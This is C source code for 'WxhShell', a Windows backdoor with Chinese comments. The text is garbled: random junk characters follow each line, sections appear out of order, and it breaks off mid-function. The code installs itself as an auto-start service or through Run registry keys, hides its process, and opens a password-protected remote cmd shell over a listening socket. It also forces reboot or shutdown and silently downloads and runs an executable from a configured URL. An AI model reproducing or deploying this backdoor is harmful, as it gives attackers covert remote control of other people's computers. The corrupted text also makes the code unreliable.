    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /:cd\A}  
    if(Boot(SHUTDOWN)) g@d*\ P)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]%;:7?5l  
    else { 9)l$ aBa  
    closesocket(wsh); #|uCgdi  
    ExitThread(0); )HEa<P^kJl  
    } [:7'?$  
    break; #]\Uk,mhZB  
    } ^ gdaa>L  
  // 获取shell )*u8/U  
  case 's': { `}p0VmD{NE  
    CmdShell(wsh);  on4HKeO  
    closesocket(wsh); iDpSj!x/_  
    ExitThread(0); mVj9, q0  
    break; ./\@Km?  
  } y'3rNa]G1  
  // 退出 /4yo`  
  case 'x': { sU=H&D99  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D(~U6SR  
    CloseIt(wsh); %Tfbsyf%f  
    break; ]=\].% >  
    } H%[eV8  
  // 离开 C"y(5U)d  
  case 'q': { dn& s*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #NQMy:JHD)  
    closesocket(wsh); .j ?W>F  
    WSACleanup(); !Z1@}`V&;  
    exit(1); 0 j^Kgx  
    break; B`EJb71^Xy  
        } Lc}LGq!  
  } 9=s<Ld  
  } ko!)s  
kXViWOXU^  
  // 提示信息 EfqX y>W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [CY9^N  
} &eJfGt5  
  } pJ>P[  
&j;wCvE4+  
  return; ez7A4>/  
} R8K&R\  
aEB_#1  
// shell模块句柄 <;lkUU(WT2  
int CmdShell(SOCKET sock) A@`}c,G  
{ L7l FtX+b  
STARTUPINFO si; kj Jn2c:y  
ZeroMemory(&si,sizeof(si)); =0 #O U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ::`HQ@^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9p]QM)M  
PROCESS_INFORMATION ProcessInfo; HVRZ[Y<^  
char cmdline[]="cmd"; s9 mx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p#-Z4-`  
  return 0; rm7ANMB:  
} [z:!j$K  
&0d# Y]D4`  
// 自身启动模式 9gW|}&-  
int StartFromService(void) e+EQ]<M  
{  8$=n j  
typedef struct ?d*z8w  
{ @@f"%2ZR[  
  DWORD ExitStatus; GC-5X`Sq  
  DWORD PebBaseAddress; .e#w)K  
  DWORD AffinityMask; x[p|G5  
  DWORD BasePriority; KR} ?H#%  
  ULONG UniqueProcessId; 9+|$$)  
  ULONG InheritedFromUniqueProcessId; KM, \  
}   PROCESS_BASIC_INFORMATION; }PlRx6r@  
jRa43ck  
PROCNTQSIP NtQueryInformationProcess; ~g91Pr   
#<fRE"v:Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p%ki>p )E|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (g]!J_Z"  
8\^R~K`sY  
  HANDLE             hProcess; Xg6Jh``  
  PROCESS_BASIC_INFORMATION pbi; JtE M,tK  
G/E+L-N#`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }CSDV9).S  
  if(NULL == hInst ) return 0;  1~gnc|?  
l$KA)xbI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <)Dj9' _J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X0HZH?V+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hPB9@ hT$  
70d1ReQ  
  if (!NtQueryInformationProcess) return 0; [g |_~h  
: $1?i)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8S TvCH"Z_  
  if(!hProcess) return 0; "x0^#AVg  
b/K PaNv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z(ONv#}p  
[jQp~&nY  
  CloseHandle(hProcess); &u."A3(  
CO/]wS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `v!urE/gg%  
if(hProcess==NULL) return 0; %@b0[ZC  
h,:m~0gmj  
HMODULE hMod; ]h`&&Bqt  
char procName[255]; .vf'YNQ%  
unsigned long cbNeeded; mY|)KJ  
P}}* Q7P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l:~/<`o  
J3V= 46Yc  
  CloseHandle(hProcess); uo9B9"&  
ELoDd&d8  
if(strstr(procName,"services")) return 1; // 以服务启动 !/b>sN}  
n` _{9R  
  return 0; // 注册表启动 ,&A7iO  
} dl)Y'DI  
[\e eDa  
// 主模块 Z?q] bSIT  
int StartWxhshell(LPSTR lpCmdLine) C}j"Qi`  
{ N{!i=A  
  SOCKET wsl; 5{WE~8$  
BOOL val=TRUE; UW={[h{.|@  
  int port=0; @D[_}JE  
  struct sockaddr_in door; Y1\}5k{>  
`,(4]tlL  
  if(wscfg.ws_autoins) Install(); B:Oa}/H   
#P9~}JB3,  
port=atoi(lpCmdLine); )u&|_&g{}J  
d'gfQlDny  
if(port<=0) port=wscfg.ws_port; F~vuM$+d  
R_cA:3qc~  
  WSADATA data; x;KOqfawv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ! I:%0D  
Tk[ $5u*,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p$c6<'UqH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e)k9dOR  
  door.sin_family = AF_INET; bHnT6Icom  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *KF#'wi  
  door.sin_port = htons(port); e2Pcm_Ahv*  
q9K)Xk$LF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |3b^~?S  
closesocket(wsl); r|8d 4  
return 1; k .;j  
} a.\:T,cP>  
8 FK/~,I  
  if(listen(wsl,2) == INVALID_SOCKET) { P`+{@@  
closesocket(wsl); H2 {+)  
return 1; u~:y\/Y6  
} x_}:D *aI  
  Wxhshell(wsl); Mj3A5;#  
  WSACleanup(); h2A <"w  
 qA7>vi%  
return 0; k"%~"9  
K7B/s9/xs  
} |Zpfq63W  
,-LwtePJ0  
// 以NT服务方式启动 +o{R _  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M/'sl;  
{ [S%_In   
DWORD   status = 0; O6 3<AY@  
  DWORD   specificError = 0xfffffff; 2wg5#i  
)EuvRLo{S7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uAq~=)F>,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ua$GNm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e]"W!K cD9  
  serviceStatus.dwWin32ExitCode     = 0; Fyx|z'4b  
  serviceStatus.dwServiceSpecificExitCode = 0; {4}yKjW%z  
  serviceStatus.dwCheckPoint       = 0; n,(sBOQ  
  serviceStatus.dwWaitHint       = 0; =ho}oL,ZO  
wssRA?9<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n)-$e4u2  
  if (hServiceStatusHandle==0) return; {6|G@ ""O  
On:il$MU  
status = GetLastError(); u%KTNa0  
  if (status!=NO_ERROR) R?|.pq/Ln  
{ nNV'O(x}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =:Fc;n>c<K  
    serviceStatus.dwCheckPoint       = 0; Fnv;^}\z  
    serviceStatus.dwWaitHint       = 0; }eU*( }<^  
    serviceStatus.dwWin32ExitCode     = status; ~ 'cmSiz-  
    serviceStatus.dwServiceSpecificExitCode = specificError; xh,qNnGGi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^zmG0EH,  
    return; <c-=3}=U\  
  } %@aSe2B  
"Yv_B3p   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .V/Rfq  
  serviceStatus.dwCheckPoint       = 0; .GXBc  
  serviceStatus.dwWaitHint       = 0; =[{i{x|Qz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 33x{CY15  
} bHYy}weZ  
X/!o\yyT  
// 处理NT服务事件,比如:启动、停止 @f~RdO3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wE>\7a*P%  
{ dr}`H,X"3  
switch(fdwControl) 6r0krbN  
{ %D34/=(X  
case SERVICE_CONTROL_STOP: KeB"D!={;  
  serviceStatus.dwWin32ExitCode = 0; TDKki(o=~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BLdvyVFx  
  serviceStatus.dwCheckPoint   = 0; ItVWO:x&v  
  serviceStatus.dwWaitHint     = 0; %6,SKg p  
  { PI)+Jr%L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (O?.)jEW(.  
  } W ]1)zO  
  return; (!aNq(   
case SERVICE_CONTROL_PAUSE: T^t# c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; drP=A~?&:  
  break; X*XZb F"=  
case SERVICE_CONTROL_CONTINUE: KnQ*vM*VM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hGe/ ;@%  
  break; dJoaCf`w  
case SERVICE_CONTROL_INTERROGATE: o Q2Fjj  
  break; `Bp.RXsd*  
}; *uf'zQ<9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8 &LQzwa  
} =pO^7g  
$E~`\o%Ev  
// 标准应用程序主函数 m|n%$$S&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X,_2FJv  
{ cWaSn7p!X  
I\{ 1u  
// 获取操作系统版本 - >-KCd1b  
OsIsNt=GetOsVer(); H3 ^},.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SiRaFj4s"  
KIf dafRL  
  // 从命令行安装 gMmaK0uhS  
  if(strpbrk(lpCmdLine,"iI")) Install(); eS\Vib  
- q1?? u  
  // 下载执行文件 _x'6]f{n  
if(wscfg.ws_downexe) { ,X-bJA@(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F=e8IUr  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2!m/  
} $?Hu#Kn,(  
;kQhx6Z  
if(!OsIsNt) { f!uwzHA`?  
// 如果时win9x,隐藏进程并且设置为注册表启动 xd?f2=dd~h  
HideProc(); W)2p@j59A  
StartWxhshell(lpCmdLine); b9J_1Gl]  
} rk2j#>l$4  
else 2g-j.TM  
  if(StartFromService()) z6=Z\P+  
  // 以服务方式启动 Oi'5ytsES  
  StartServiceCtrlDispatcher(DispatchTable); _[c0)2h  
else 8,4"uuI  
  // 普通方式启动 L^2%1GfE{  
  StartWxhshell(lpCmdLine); #ym'AN  
fI}to&qk  
return 0; {_[N<U:QT&  
} 'Ym9;~(@R  
vXf!G`D  
feDlH[$  
t ;;U}  
=========================================== q460iL7yF}  
EzM ?Nft  
N=5a54!/  
P6-s0]-g  
DS(}<HK{  
l'-Bu(  
" s4y73-J^.v  
5h=}j  
#include <stdio.h> %~H-)_d20  
#include <string.h> DFB@O|JL  
#include <windows.h> a`E#F] Z  
#include <winsock2.h> kW Ml  
#include <winsvc.h> p Z|V 3  
#include <urlmon.h> (z {#Eq4  
I by\$~V  
#pragma comment (lib, "Ws2_32.lib") &tLgG4pd  
#pragma comment (lib, "urlmon.lib") #uG%j  
kX7C3qdmt  
#define MAX_USER   100 // 最大客户端连接数 WYm\)@  
#define BUF_SOCK   200 // sock buffer nLZTK&7}  
#define KEY_BUFF   255 // 输入 buffer pk$l+sNZ=  
A5I)^B<(  
#define REBOOT     0   // 重启 rxvx  
#define SHUTDOWN   1   // 关机 {l1.2!  
KK/tu+"  
#define DEF_PORT   5000 // 监听端口 2>xF){`  
kzQ+j8.,U  
#define REG_LEN     16   // 注册表键长度 X; \+<LE  
#define SVC_LEN     80   // NT服务名长度 pHXm>gTd,J  
jUYWrYJ  
// 从dll定义API 45@ I*`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n?!">G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u^ +7hkk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X"|['t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *k(XW_>  
y*jp79G  
// wxhshell配置信息 jjB~G^n  
struct WSCFG { m<T%Rb4?@  
  int ws_port;         // 监听端口 vAF "n  
  char ws_passstr[REG_LEN]; // 口令 ,F8Yn5h  
  int ws_autoins;       // 安装标记, 1=yes 0=no K( c\wr\6  
  char ws_regname[REG_LEN]; // 注册表键名 ,i?nWlh+  
  char ws_svcname[REG_LEN]; // 服务名 Fx_z6a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r"3=44St  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |PCm01NU!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )np:lL$$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :1. L}4"gg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" shy-Gu&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8`B3;Zmm  
sQHv%]s 0  
}; p SH=%u>  
Eak$u>Fd8c  
// default Wxhshell configuration Mlg0WrJ|2  
struct WSCFG wscfg={DEF_PORT,  L2[($l  
    "xuhuanlingzhe", W fN2bsx>  
    1, -n~1C {<  
    "Wxhshell", 5,lEx1{_  
    "Wxhshell", hP%M?MKC  
            "WxhShell Service", y{B=-\O]  
    "Wrsky Windows CmdShell Service", T9E+\D  
    "Please Input Your Password: ", #_ ;lf1x!  
  1, T?CdZc.  
  "http://www.wrsky.com/wxhshell.exe", F`9xVnK=  
  "Wxhshell.exe" lBLARz&c#  
    }; Af~$TyX  
t:x\kp  
// 消息定义模块 6xx<Y2@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~~/|dh5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9IdA%RM~mH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \$~|ZwV{  
char *msg_ws_ext="\n\rExit."; \g&,@'uh  
char *msg_ws_end="\n\rQuit."; !7O+ogL  
char *msg_ws_boot="\n\rReboot..."; R6<X%*&%  
char *msg_ws_poff="\n\rShutdown..."; j;+b0(53  
char *msg_ws_down="\n\rSave to "; $lfn(b,  
aB2F C$z  
char *msg_ws_err="\n\rErr!"; b4%??"&<Y  
char *msg_ws_ok="\n\rOK!"; g-4M3of  
w_"E*9  
char ExeFile[MAX_PATH]; ONB{_X?  
int nUser = 0; }1L4 "}L.  
HANDLE handles[MAX_USER]; )Yh+c=6 ?  
int OsIsNt; 38Mv25N  
x}wG:K  
SERVICE_STATUS       serviceStatus; a_^\=&?'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /Vx7mF:  
HYD'.uj  
// 函数声明 B-Ll{k^  
int Install(void); ]`!>6/[  
int Uninstall(void); ,a{P4Bq  
int DownloadFile(char *sURL, SOCKET wsh); ;IvY^(YS@;  
int Boot(int flag); 8rAg \H3E  
void HideProc(void); ?8H8O %Z8  
int GetOsVer(void); G/y5H;<9M  
int Wxhshell(SOCKET wsl); ]!W=^!  
void TalkWithClient(void *cs); A_"w^E{P  
int CmdShell(SOCKET sock); &)# ihK_  
int StartFromService(void); 6##_%PO<m  
int StartWxhshell(LPSTR lpCmdLine); ;0]aq0_#(  
xk9%F?)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IEL%!RFG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6fE7W>la  
7~G9'P<  
// 数据结构和表定义 .Bl\Z  
SERVICE_TABLE_ENTRY DispatchTable[] = XFVE>/H  
{ K C*e/J  
{wscfg.ws_svcname, NTServiceMain}, y;m|  
{NULL, NULL} 1W c=5!  
}; nK1Slg#U  
>mbHy<<  
// 自我安装 9d0@wq.  
int Install(void) =g7x' kN  
{ G{As,`{  
  char svExeFile[MAX_PATH]; ih-#5M@  
  HKEY key; gMi0FO'  
  strcpy(svExeFile,ExeFile); ]\-A;}\e  
ch*8B(:  
// 如果是win9x系统,修改注册表设为自启动 >4x(e\B  
if(!OsIsNt) { { T/[cu<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T= 80,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \i>?q   
  RegCloseKey(key); Fk&c=V;SU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ].avItg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k&M;,e3v6  
  RegCloseKey(key); v4a8}G  
  return 0; Q^P}\wb>  
    } r5S[-`s;  
  } '0;l]/i.  
} ^ox=HNV  
else { j.[.1G*("  
0Uz"^xO["  
// 如果是NT以上系统,安装为系统服务 >.Pnkx*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L8@f-Kk  
if (schSCManager!=0) c`)\Pb/O  
{ etQCzYIhn  
  SC_HANDLE schService = CreateService udK%>  
  ( w0 M>[ 4  
  schSCManager, EgEa1l!NSQ  
  wscfg.ws_svcname, dM.f]-g  
  wscfg.ws_svcdisp, pHGYQ;:L  
  SERVICE_ALL_ACCESS, B B{$&Oh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]6,\r"  
  SERVICE_AUTO_START, B&M%I:i  
  SERVICE_ERROR_NORMAL, SBu"3ym  
  svExeFile, 4!{KWL`A  
  NULL, L]|gZ&^  
  NULL, n1ZbRV  
  NULL, (!u~CZ;  
  NULL, ^cC,.Fdw  
  NULL {S]}.7`l9(  
  ); 93>jr<A  
  if (schService!=0) *g"Nq+i@  
  { 1/B>XkCJ  
  CloseServiceHandle(schService); /s&9SYF  
  CloseServiceHandle(schSCManager); |w~nVRb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZoW?nxY  
  strcat(svExeFile,wscfg.ws_svcname); G`D`Af/B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vQG5*pR*w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @Rze| T.  
  RegCloseKey(key); ;J( 8 L  
  return 0; Rxt^v+ ,$  
    } e-/&$Qq  
  } dw>C@c#"  
  CloseServiceHandle(schSCManager); _ gR;=~S  
} KJUH(]>F  
} q4h]o^+  
x3=A:}t8  
return 1; 8.1c?S  
} 'T;P;:!\  
_IHV7*u{;  
// 自我卸载 :1Xz4wkWS*  
int Uninstall(void) >0y'Rgfe  
{ ;3coP{  
  HKEY key; wYXQlxdy  
F@7jx:tI  
if(!OsIsNt) { bn&TF3b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "m$##X\  
  RegDeleteValue(key,wscfg.ws_regname); IZ-1c1   
  RegCloseKey(key); w>&aEv/f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !<8W {LT  
  RegDeleteValue(key,wscfg.ws_regname); \[i1JG  
  RegCloseKey(key);  `,*3[  
  return 0; 6dr%;Wp  
  } PcMD])Z{G  
} pZ{+c  
} |-67 \p]  
else { <]t%8GB2V  
:as$4|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yx8z4*]kH  
if (schSCManager!=0) wo{gG?B  
{ `:fZ)$sY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j?\Qh  
  if (schService!=0) vkV0On  
  { a 7 V-C  
  if(DeleteService(schService)!=0) { *!t/"b  
  CloseServiceHandle(schService); Y=?3 js?O  
  CloseServiceHandle(schSCManager); ;u ({\K  
  return 0; Zd%k*BC  
  } =%K;X\NB  
  CloseServiceHandle(schService); :uS\3toj  
  } :gibfk]C  
  CloseServiceHandle(schSCManager); &vMb_;~B  
} 3AtGy'NTp  
} r.&Vw|*>  
] IQ&>z}<  
return 1; YQvD|x  
} K&]G3W%V  
A2Ed0|By  
// 从指定url下载文件 .p3,O6y2(F  
int DownloadFile(char *sURL, SOCKET wsh) e\l7Iu  
{ >Eto( y"q  
  HRESULT hr; s WvBv  
char seps[]= "/"; .f2bNnB~pP  
char *token; g}{aZ$sta  
char *file; H[$"+&q  
char myURL[MAX_PATH]; xwq (N_  
char myFILE[MAX_PATH]; >uB# &Q  
]y '>=a|T  
strcpy(myURL,sURL); ^A/k)x6  
  token=strtok(myURL,seps); ` p-cSxR_  
  while(token!=NULL) %)W2H^  
  { &)ChQZA  
    file=token; Do7Tj  
  token=strtok(NULL,seps); Cctu|^V  
  } D_*WYV  
- %h.t+=U  
GetCurrentDirectory(MAX_PATH,myFILE); :U%W%  
strcat(myFILE, "\\"); ;bib/  
strcat(myFILE, file); 8qTys8  
  send(wsh,myFILE,strlen(myFILE),0); I"<\<^B<  
send(wsh,"...",3,0); s};{ZAtE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?Ep [M:,q  
  if(hr==S_OK) K=k"a  
return 0; n M*%o-  
else }2.`N%[  
return 1; WX?IYQ+  
k$R-#f;  
} sIGMA$EK  
S`0(*A[W*  
// 系统电源模块 u|TeE\0  
int Boot(int flag) %T%sGDCV  
{ IfAZn_  
  HANDLE hToken; 9}<ile7^  
  TOKEN_PRIVILEGES tkp; <0&*9ZeD  
xF'EiX~  
  if(OsIsNt) { E A1?)|}n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WiR(;m<g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ChPmX+.i_  
    tkp.PrivilegeCount = 1; vMH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ckuh:bs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <uw9DU7G  
if(flag==REBOOT) { x2\qXN/R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) om z  
  return 0; >uhaW@d  
} K`zdc`/  
else { m@v\(rT.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k"zv~`i'  
  return 0; )U:m:cr<  
} &.Qrs :U  
  } 'XjZ_ng  
  else { dOH &  
if(flag==REBOOT) { |FZ/[9*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @9RM9zK.q  
  return 0; {qJ1ko)$  
} G@X% +$I  
else { 051 E6-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |{NYkw  
  return 0; oQVgyj.  
} :bq8N@P/  
} xr Jg\to{i  
@,my7?::oM  
return 1; CxW>~O:  
} c]o'xd,T8\  
{]@= ijjf  
// win9x进程隐藏模块 =K[yT:  
void HideProc(void) [<yaXQxl  
{ P{>!5|k  
>jLY"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O-hAFKx  
  if ( hKernel != NULL ) @:vwb\azVD  
  { `kXs;T6&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y/7\?qfTk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xdt- ;w|  
    FreeLibrary(hKernel); Q\7h`d%)  
  } Ie#Bkw'*  
vr6w^&[c^  
return; A]oV"`f  
} p]+Pkxz]'  
>@_^fw)  
// 获取操作系统版本 pO3SUOP  
int GetOsVer(void) Kn;"R:  
{ I-(zaqp@  
  OSVERSIONINFO winfo; SZ'R59Ee<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3,qr-g|;jM  
  GetVersionEx(&winfo); ;$wVu|&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !?h;wR  
  return 1; ^k">A:E2  
  else #h ]g?*}OJ  
  return 0; Y]2A&0  
} qfm|@v|De5  
K?1W!fY  
// 客户端句柄模块 /7F:T[  
int Wxhshell(SOCKET wsl) X5$Iyis  
{ xY(*.T9K  
  SOCKET wsh; 6?J i7F  
  struct sockaddr_in client; @K !T,U  
  DWORD myID; Aw.qK9I  
&B1WtW  
  while(nUser<MAX_USER) bK&+5t&  
{ GGs}i1m  
  int nSize=sizeof(client); f r6 fj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {hrX'2:ClT  
  if(wsh==INVALID_SOCKET) return 1; &}B|"s[  
[sj osV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4!no~ $b  
if(handles[nUser]==0) Q/0Tj]D  
  closesocket(wsh); 7;wd(8  
else . 3T3E X|G  
  nUser++; ( ^Nz9{  
  } 5<Nx^D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +',S]Edx  
+#@I~u _}D  
  return 0; W.KDVE$}f  
} K1yzD6[eW  
/@TF5]Ri  
// 关闭 socket je=a/Y=%U{  
void CloseIt(SOCKET wsh) 'I6i ,+D/q  
{ z<XtS[ki  
closesocket(wsh); ,w4V?>l  
nUser--; aj{Y\ 3L  
ExitThread(0); m~0/&RA  
} $B5aje}i  
r52gn(,  
// 客户端请求句柄 6mxfLlZ  
void TalkWithClient(void *cs) ; )@~  
{ _F|Ek;y%  
(gWm,fI RZ  
  SOCKET wsh=(SOCKET)cs; .|i.Cq8  
  char pwd[SVC_LEN]; f(y:G^V  
  char cmd[KEY_BUFF]; o`z]|G1''  
char chr[1]; ?J~_R1Z  
int i,j; ^o&. fQ*  
12gU{VD  
  while (nUser < MAX_USER) {  S9FE  
0)Wltw~`&  
if(wscfg.ws_passstr) { H8}oIA"b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6A+nS=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mtcw#D  
  //ZeroMemory(pwd,KEY_BUFF); T!)(Dv8@F  
      i=0; PIS2Ed]  
  while(i<SVC_LEN) { q(W3i^778  
FP4P|kl/9'  
  // 设置超时 5D//*}b,  
  fd_set FdRead; 7Kxp=-k  
  struct timeval TimeOut; 3 {sVVq5Y  
  FD_ZERO(&FdRead); $suzW;{#  
  FD_SET(wsh,&FdRead); Y\g3h M  
  TimeOut.tv_sec=8; uiR8,H9*M  
  TimeOut.tv_usec=0; DT&@^$?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 07{)?1cod4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t&e{_|i#+  
}a(dyr`S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0*{%=M  
  pwd=chr[0]; )|# sfHv7  
  if(chr[0]==0xd || chr[0]==0xa) { b,1ePS  
  pwd=0; ,/|T-Ka  
  break; m#\ dSl}  
  } bq0zxg%  
  i++; UH"%N)[  
    } 'YSHi\z ](  
z9Rp`z&`E  
  // 如果是非法用户,关闭 socket 3eQ&F~S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YNsJZnGr8#  
} $kp{Eg '  
hZt!/?dc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NyNXP_8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ' %o#q6O  
:& ."ttf=  
while(1) { "87:?v[[1  
=fFP5e ['  
  ZeroMemory(cmd,KEY_BUFF); sdw(R#GE  
=]0&i]z[.  
      // 自动支持客户端 telnet标准   Se =`N  
  j=0; BR;D@R``}  
  while(j<KEY_BUFF) { t'k$&l}+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3AN/ H  
  cmd[j]=chr[0]; I^$fMdT  
  if(chr[0]==0xa || chr[0]==0xd) { g{&ui.ml&  
  cmd[j]=0; 'E""amIJ  
  break; oe-\ozJ0  
  } 0oIe> r  
  j++; 4 "'~NvO  
    } 9InVQCf2J  
~oY^;/ j  
  // 下载文件 svH !1 b  
  if(strstr(cmd,"http://")) { ?^\|-Gr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z"fJ`--  
  if(DownloadFile(cmd,wsh)) .U]-j\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \LexR.Di  
  else 9CD_ os\h  
